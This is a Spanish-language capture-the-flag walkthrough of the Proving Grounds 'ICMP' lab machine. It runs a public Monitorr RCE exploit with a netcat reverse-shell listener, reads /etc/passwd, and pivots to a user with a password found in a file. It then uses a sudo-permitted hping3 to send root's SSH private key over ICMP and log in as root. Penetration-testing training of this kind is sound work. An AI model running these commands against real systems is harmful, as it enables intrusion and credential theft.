🟠ICMP

Write-up de la máquina ICMP de Proving Grounds #writeup #walkthrough

Enumeración

Servicios abiertos

Comenzamos a resolver este CTF enumerando los servicios que tiene abiertos.

nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.214.218

La máquina tiene abiertos los puertos 22 y 80. El siguiente paso será la enumeración profunda de los puertos abiertos.

nmap -p22,80 -Pn -n -sVC -vvv 192.168.214.218

Servicios abiertos:

  • Puerto 22 -> SSH -> OpenSSH 7.9

  • Puerto 80 -> HTTP -> Apache httpd 2.4.38

Enumeración Web

La máquina ICMP está ejecutando un servidor Web en el puerto 80. Veamos su contenido.

Tenemos una versión "Monitorr 1.7.6m"

Vamos a enumerar archivos y directorios presentes en el sitio Web.

feroxbuster -u http://192.168.214.218 -s200,301 -x html,txt,php -n

Solo encontramos el directorio donde nos encontramos cuando accedemos al sitio Web.

Explotación

En la enumeración del sitio Web encontramos una versión de CMS, vamos a tratar de encontrar vulnerabilidades para esa versión.

Existe una vulnerabilidad de RCE sin autenticación para esa versión de CMS. Vamos a descargar ese exploit desarrollado en Python.

Para realizar la explotación necesitaremos la URL del sitio que queremos vulnerar, nuestra dirección IP y puerto local de escucha. También debemos poner a la escucha un oyente nc en el mismo puerto local indicado en la ejecución del exploit.

python2 48980.py http://192.168.214.218/mon/ 192.168.45.5 1234
nc -lnvp 1234

Tenemos acceso a la máquina objetivo con bajos privilegios. El siguiente paso será buscar la flag local.txt

Pivontando de www-data a fox

Después de que conseguimos el punto de apoyo en el sistema, verificamos a los usuarios del mismo.

grep sh /etc/passwd

Vamos a enumerar el contenido del directorio del usuario /fox.

Interesante en la enumeración. Vemos un directorio /devel para el que no tenemos permiso apra acceder y un archivo reminder. Veamos el contenido del archivo.

El archivo "reminder" indica que la encriptación se lleva a cabo mediante un archivo denominado crypt.php. Además, se dispone de un directorio de desarrollo con permisos de ejecución para otros usuarios, pero sin permisos de lectura/escritura. En consecuencia, se podría inferir que el archivo crypt.php podría encontrarse dentro de dicho directorio. Vamos a comprobarlo.

Puede la contraseña de algún servicio. Recordamos que este CTF ejecuta un servicio SSH en el puerto 22 y que tenemos un nombre de usuario, fox. Veamos si podemos conectarnos con el usuario fox a través de SSH.

Era la contraseña del usuario "fox" para el servicio SSH.

Elevación de privilegios

Una vez tenemos acceso a la máquina como usuario "fox", vamos a enumerar las diferentes formas de poder elevar privilegios. Comenzamos con sudo -l.

Se permite ejecutar un comando con permisos de root, pero debido a que estamos en modo ICMP, no podemos acceder a un shell. Sin embargo, aún podemos transferir archivos a otra máquina. Consideramos enviar el archivo shadow o una clave privada SSH como posibles opciones.

Para lograrlo, es necesario activar el modo de escucha de hping3 en la máquina receptora y enviar el archivo desde la máquina de origen hacia la receptora. Esto vamos a hacerlo con dos instancias SSH diferentes de la misma máquina de destino.

Terminal 1: sudo hping3 --icmp 127.0.0.1 --listen signature --safe
Terminal 2: sudo hping3 --icmp 127.0.0.1 --sign signature --file /root/.ssh/id_rsa -d 4000 -c 2

Obtenemos una clave privada. Vamos a copiarla a nuestra máquina de ataque. A esta clave le damos permisos chmod 600. Vamos a tratar de conectarnos a la máquina objetivo como usuario root a través del servicio SSH aprovechando la clave id_rsa que hemos encontrado.

ssh [email protected] -i id_rsa

Obtenemos acceso a la máquina objetivo como usuario "root". El último paso para completar la máquna será conseguir la flag proof.txt.

Y ya estaría completa la máquina ICMP de la plataforma Proving Grounds.

Last updated